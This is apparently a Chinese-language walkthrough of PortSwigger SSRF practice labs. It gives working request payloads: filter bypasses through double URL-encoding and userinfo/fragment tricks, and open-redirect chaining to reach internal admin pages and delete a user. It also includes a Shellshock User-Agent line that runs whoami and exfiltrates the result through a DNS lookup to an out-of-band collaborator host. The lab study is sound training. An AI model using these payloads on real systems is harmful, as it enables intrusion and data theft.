SSRF
Lab: Basic SSRF against the local server
This lab has a stock check feature which fetches data from an internal system.
To solve the lab, change the stock check URL to access the admin interface at
http://localhost/adminand delete the usercarlos.
查看检查库存的流量包
1 | POST /product/stock |
也就是说 0a5900c503624157848b63cd005f004b.web-security-academy.net 往 http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1 发送请求,正好 stockApi 我们可以控制,我们可以利用这一点让
academy.net 自己给自己发送请求来请求一些客户端没有权限访问的资源
1 | stockApi=http%3A%2F%2F127.0.0.1/admin |
Lab: Basic SSRF against another back-end system
This lab has a stock check feature which fetches data from an internal system.
To solve the lab, use the stock check functionality to scan the internal
192.168.0.Xrange for an admin interface on port8080, then use it to delete the usercarlos.
初始
1 | stockApi=http%3A%2F%2F192.168.0.1%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1 |
爆破内网其他主机
1 | stockApi=http%3A%2F%2F192.168.0.225:8080/admin |
Lab: SSRF with blacklist-based input filter
This lab has a stock check feature which fetches data from an internal system.
To solve the lab, change the stock check URL to access the admin interface at
http://localhost/adminand delete the usercarlos. The developer has deployed two weak anti-SSRF defenses that you will need to bypass.
stockApi参数 http://127.0.0.1/并观察到因为某些安全原因该请求已被阻止,加了 waf
1 | http://127.1/ |
这样能绕过,但是 admin 也被 waf 拦掉了,结合初始的参数我们可以发现发到后端前会被 url 编码一遍,说明后端拿到参数值之后会进行 url 解码,我们可以把 admin 也 url 编码
1 | stockApi=http://127.1/%61dmin |
可是这样还是被 waf 拦截了,再对 %61 url 编码一次
1 | stockApi=http://127.1/%2561dmin |
成功绕过了,所以我猜测在参数值进入 waf 前会 url 解码一次,那为什么服务器又能两次解码了,我觉得这问题很复杂有多种可能可能服务器是递归解码,可能nginx或者apache这些中间件也会url解码,反向代理或网关在转发时对 URI 解码。。。。。给我的启示就是一次url编码不能绕过的话可以多试几次,万一绕过了呢。
还有可以大写绕过
1 | stockApi=http://127.1/Admin |
Lab: SSRF with whitelist-based input filter
This lab has a stock check feature which fetches data from an internal system.
To solve the lab, change the stock check URL to access the admin interface at
http://localhost/adminand delete the usercarlos. The developer has deployed an anti-SSRF defense you will need to bypass.
1 | stockApi=http://localhost |
返回
1 | "External stock check host must be stock.weliketoshop.net" |
要求主机名是 stock.weliketoshop.net,加了白名单校验。
1 | stockApi=http://stock.weliketoshop.net |
爆了500错误,但是waf没有拦截。我们可以利用后端校验库和请求库代码不同来绕过
在标准的 URI/URL 语法中,一个典型的 URL 如下:
1 | scheme://[userinfo@]host[:port]/path?query#fragment |
比如我们这样写
1 | stockApi=http://127.0.0.1@stock.weliketoshop.net |
按照标准 URL 语法,这里 “127.0.0.1” 会被解析为用户名(userinfo),而非 host, 所以waf的视角里主机名还是 stock.weliketoshop.net,所以这个域名被正常发往后段业务代码进行处理
但是业务里127.0.0.1@stock.weliketoshop.net这个资源并不存在,所以返回500错误,
答案是,为什么呢?
1 | http://127.0.0.1%2523@stock.weliketoshop.net |
%25 是 % 的编码,所以 %2523 解码一次会变成 %23,再解码会变成 #
在过滤检查阶段,校验库(用于校验过滤):可能对 URL 解码一次或根本不解码 %25…,也可能在解析 userinfo@host 时把左边当作 host 或忽略 userinfo,过滤器看到的可能是
127.0.0.1%2523@stock.weliketoshop.net或者127.0.0.1%23@stock.weliketoshop.net,所以过滤器也就是 waf 觉得这个主机没问题于是过滤器把值传递给了请求库,准备对 url 发起请求,假如请求库实际解码两次
1
http://127.0.0.1%2523@stock.weliketoshop.net => http://127.0.0.1#@stock.weliketoshop.net
那么 # 号就暴露出来了,# 又是何方神圣呢
在 URL 中,# 之后的部分叫做“片段标识符”(fragment identifier)。根据 URI 标准和浏览器/HTTP 协议的定义,这部分 不会被发送到服务器,而是留给客户端(浏览器或用户代理)处理
所以请求库就舍弃了
#@stock.weliketoshop.net,只发送了http://127.0.0.1
path /admin 只能放最后了,放在 127.0.0.1 后面会被校验库拦下来,因为有 / 符号,@符号就不起作用了。为什么 /admin 没有随着 # 一起舍弃呢?# 的语义在标准(RFC 3986)里确实是 fragment 开始符号,但
- RFC 3986 只规定了语法;
- 各语言、各 HTTP 客户端、各框架在实现时,对“非法位置”的字符容忍度不一样。
也就是说可能 /admin 被某种语言的某种库解析为 path 了,不丢了。
1 | stockApi=http://127.0.0.1%2523@stock.weliketoshop.net/admin |
在本地用 php parse_url 函数模拟了一下
1 | $url = "http://127.0.0.1%2523@stock.weliketoshop.net/admin"; |
输出
1 | ---- parse_url 解码两次 ---- |
直接全部舍弃了,说明这个 PHP 版本 / parse_url() 实现 在「二次解码后」把 # 真正识别成了 fragment 起点,从而导致行为发生了变化
所以平日里还是要随机应变,具体漏洞具体分析,不能生搬硬套
Lab: SSRF with filter bypass via open redirection vulnerability
This lab has a stock check feature which fetches data from an internal system.
To solve the lab, change the stock check URL to access the admin interface at
http://192.168.0.12:8080/adminand delete the usercarlos. The stock checker has been restricted to only access the local application, so you will need to find an open redirect affecting the application first.
1 | stockApi=%2Fproduct%2Fstock%2Fcheck%3FproductId%3D2%26storeId%3D1 |
现在参数被限制死了,只能发送 api 请求,不能改主机了,我们注意到有个下一页功能
1 | GET /product/nextProduct?currentProductId=1&path=/product?productId=2 |
尝试把这个接口放在 stockApi 上,& 要 url 编码
1 | stockApi=/product/nextProduct?currentProductId=1%26path=/product?productId=3 |
成功触发跳转功能,修改为内网资产
1 | stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin/delete?username=carlos |
Lab: Blind SSRF with out-of-band detection
This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded.
To solve the lab, use this functionality to cause an HTTP request to the public Burp Collaborator server.
服务器会获取 refer 头的值并且发起 http 请求
Lab: Blind SSRF with Shellshock exploitation
This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded.
To solve the lab, use this functionality to perform a blind SSRF attack against an internal server in the
192.168.0.Xrange on port 8080. In the blind attack, use a Shellshock payload against the internal server to exfiltrate the name of the OS user.
shellshock 漏洞的payload :
1 | () { :; }; <command> |
1 | User-Agent: () { :; }; /usr/bin/nslookup $(whoami).0wxq7isuwwzu2j9g10ahzif23t9kxalz.oastify.com |
- Web 服务器在处理请求时,会将 HTTP 头(如 User-Agent)转化为环境变量(例如 HTTP_USER_AGENT)传递给 CGI 脚本或 shell
- User-Agent里的 =>
/usr/bin/nslookup $(whoami).0wxq7isuwwzu2j9g10ahzif23t9kxalz.oastify.com是后续命令,意图让服务器执行 whoami 得到用户名,然后将其拼入一个子域名(如 username.0wxq7isuwwzu2j9g10ahzif23t9kxalz.oastify.com)进行 DNS 查询,命令中的 nslookup + 子域名构造是一种“带外回连”的方式:服务器执行后会向攻击者控制的 DNS 域名发送查询,通过观察 DNS 请求记录攻击者能得知命令是否被执行。 - Referer 指向内网地址,诱导服务器去访问该内网资源